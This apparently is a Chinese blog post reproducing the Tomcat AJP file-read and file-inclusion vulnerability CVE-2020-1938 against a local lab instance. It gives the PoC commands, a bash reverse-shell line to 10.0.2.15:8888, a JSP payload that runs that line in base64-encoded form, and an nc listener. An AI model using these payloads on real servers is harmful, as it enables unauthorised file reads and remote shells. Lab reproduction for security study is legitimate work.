CVE-2020-1938 Tomcat AJP漏洞复现

直接使用大佬的POC代码,仅用于安全技术交流学习。

0x01 漏洞影响

Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x

0x02 前提

目标机器开启AJP Connector 服务端口(默认开启,为8009端口)

0x03 文件读取

poc代码需要在python2.7环境下运行,kali默认使用这个版本。进入到poc工程下,先安装依赖包:

pip install -r requirements.txt 

执行文件读取

python poc.py -p 8009 -f "/WEB-INF/web.xml" 127.0.0.1

左侧窗口是tomcat容器目录,右侧通过poc代码非授权访问到的WEB-INF下的web.xml


read file

0x04 文件包含RCE

这一步利用文件包含漏洞实现RCE,攻击需要满足一定的条件,即需要将payload文件上传到tomcat目录下,然后利用文件包含激活payload。这里以反弹shell为例

准备好的反弹shell姿势如下:

bash -i >& /dev/tcp/10.0.2.15/8888 0>&1

为了能正常执行需要对命令进行编码并组装成bash,推荐在线bash payload生成。最终的payload文件test.txt如下:

<%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIuMTUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("
");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("
"); %>

这里直接将payload文件放到tomcat目录下,在本地准备接受反弹shell

rlwrap nc -lvnp 8888

然后执行poc:

python poc.py -p 8009 -f test.txt 127.0.0.1

可以看到左边nc获取到一个反弹shell,成功实现RCE


image.png

你可能感兴趣的:(CVE-2020-1938 Tomcat AJP漏洞复现)